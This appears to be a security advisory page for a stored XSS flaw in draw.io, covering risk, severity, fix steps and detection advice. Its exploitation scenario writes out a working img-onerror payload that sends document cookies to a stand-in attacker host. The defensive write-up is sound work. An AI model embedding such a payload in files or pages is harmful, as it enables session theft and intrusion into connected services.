CVE-2026-46642: draw.io: stored XSS executes JS via crafted diagram file
MEDIUMdraw.io versions before 29.7.12 contain a stored XSS vulnerability that allows arbitrary JavaScript execution in the editor's origin when a crafted .drawio file is opened — triggered automatically during import as cells are selected and the Text Format panel assigns raw cell labels to an unsanitized innerHTML context. For AI/ML teams that exchange architecture diagrams through draw.io (a common practice for documenting pipelines, model designs, and governance workflows), this creates a realistic lateral-movement path: a malicious diagram shared over email, Slack, or Confluence can silently exfiltrate session tokens or pivot to connected enterprise services. No public exploit or active exploitation has been confirmed (CISA KEV: No, EPSS: unavailable), but the CVSS scope:changed modifier signals that impact can extend beyond the draw.io process itself — particularly dangerous in self-hosted deployments integrated with SSO providers. Upgrade immediately to 29.7.12; until patched, treat externally received .drawio files as untrusted executables and restrict their opening in any web-deployed draw.io instance.
What is the risk?
Medium severity (CVSS 6.1) with low attack complexity and no required privileges, constrained by mandatory user interaction (file open). The scope:changed flag is the primary risk amplifier: successful exploitation runs code in draw.io's browser origin, which may share sessions with identity providers or internal tooling. No active exploitation, no scanner coverage, and no public PoC reduce immediate urgency, but the trivial payload construction (a single img onerror tag) means exploitation requires minimal adversary skill. Risk is elevated for organizations using draw.io in collaborative AI/ML documentation workflows where external file sharing is routine.
How does the attack unfold?
How severe is it?
What is the attack surface?
What should I do?
6 steps-
Upgrade draw.io to version 29.7.12 or later immediately — this is the only complete fix.
-
If using the Confluence plugin or VS Code extension, verify the bundled draw.io version and update the integration package.
-
Until patched, block untrusted .drawio files from being opened in any web-deployed draw.io instance; enforce a file-review policy for externally received diagrams.
-
For detection: enable and monitor Content Security Policy (CSP) violation reports on your draw.io domain for unexpected script-src events.
-
Audit draw.io deployments for SSO or identity provider integrations and rotate any sessions that may have been exposed if anomalous activity is suspected.
-
In Confluence-integrated environments, restrict diagram editing to internal users until patched.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-46642?
draw.io versions before 29.7.12 contain a stored XSS vulnerability that allows arbitrary JavaScript execution in the editor's origin when a crafted .drawio file is opened — triggered automatically during import as cells are selected and the Text Format panel assigns raw cell labels to an unsanitized innerHTML context. For AI/ML teams that exchange architecture diagrams through draw.io (a common practice for documenting pipelines, model designs, and governance workflows), this creates a realistic lateral-movement path: a malicious diagram shared over email, Slack, or Confluence can silently exfiltrate session tokens or pivot to connected enterprise services. No public exploit or active exploitation has been confirmed (CISA KEV: No, EPSS: unavailable), but the CVSS scope:changed modifier signals that impact can extend beyond the draw.io process itself — particularly dangerous in self-hosted deployments integrated with SSO providers. Upgrade immediately to 29.7.12; until patched, treat externally received .drawio files as untrusted executables and restrict their opening in any web-deployed draw.io instance.
Is CVE-2026-46642 actively exploited?
No confirmed active exploitation of CVE-2026-46642 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-46642?
1. Upgrade draw.io to version 29.7.12 or later immediately — this is the only complete fix. 2. If using the Confluence plugin or VS Code extension, verify the bundled draw.io version and update the integration package. 3. Until patched, block untrusted .drawio files from being opened in any web-deployed draw.io instance; enforce a file-review policy for externally received diagrams. 4. For detection: enable and monitor Content Security Policy (CSP) violation reports on your draw.io domain for unexpected script-src events. 5. Audit draw.io deployments for SSO or identity provider integrations and rotate any sessions that may have been exposed if anomalous activity is suspected. 6. In Confluence-integrated environments, restrict diagram editing to internal users until patched.
What systems are affected by CVE-2026-46642?
This vulnerability affects the following AI/ML architecture patterns: AI/ML system design and documentation workflows, Enterprise AI governance and compliance documentation, Collaborative ML pipeline design environments.
What is the CVSS score for CVE-2026-46642?
CVE-2026-46642 has a CVSS v3.1 base score of 6.1 (MEDIUM).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011 User Execution AML.T0011.000 Unsafe AI Artifacts AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter Compliance Controls Affected
What are the technical details?
Original Advisory
draw.io is a configurable diagramming and whiteboarding application. Prior to version 29.7.12, a crafted .drawio file can execute arbitrary JavaScript in the editor's origin when the file is opened. The vulnerability is not in the label sanitizer (which works correctly on the rendering path) but in a feature-detection routine in the Text Format panel that reads the raw cell label and assigns it to a detached element's innerHTML without sanitization. Browsers fire onerror for failed image loads even on detached elements, so an <img src=x onerror=...> payload in any cell label triggers script execution as soon as the cell is selected — which import does automatically. This issue has been patched in version 29.7.12.
Exploitation Scenario
An adversary targeting an AI/ML engineering team embeds the payload `<img src=x onerror='fetch("https://attacker.io/c?"+btoa(document.cookie))'>` in a cell label of a draw.io file disguised as a 'Q3 LLM Architecture Review' diagram. The file is sent via a phishing email or uploaded to a shared Confluence space. When a team member opens the file — either in the browser-based editor or via the Confluence plugin — draw.io's import routine auto-selects all cells, causing the Text Format panel's feature-detection code to read the raw cell label and assign it to a detached element's innerHTML. The browser fires the img onerror handler, exfiltrating the victim's session cookies to the attacker's server. If draw.io is deployed on the corporate network with SSO (Okta, Azure AD), those stolen tokens may grant access to additional internal services including CI/CD pipelines, model registries, or the AI governance platform.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N References
Timeline
Related Vulnerabilities
CVE-2023-3765 10.0 MLflow: path traversal allows arbitrary file read
Same attack type: Data Extraction CVE-2025-5120 10.0 smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Code Execution CVE-2025-2828 10.0 LangChain RequestsToolkit: SSRF exposes cloud metadata
Same attack type: Data Extraction CVE-2025-53767 10.0 Azure OpenAI: SSRF EoP, no auth required (CVSS 10)
Same attack type: Data Extraction CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Code Execution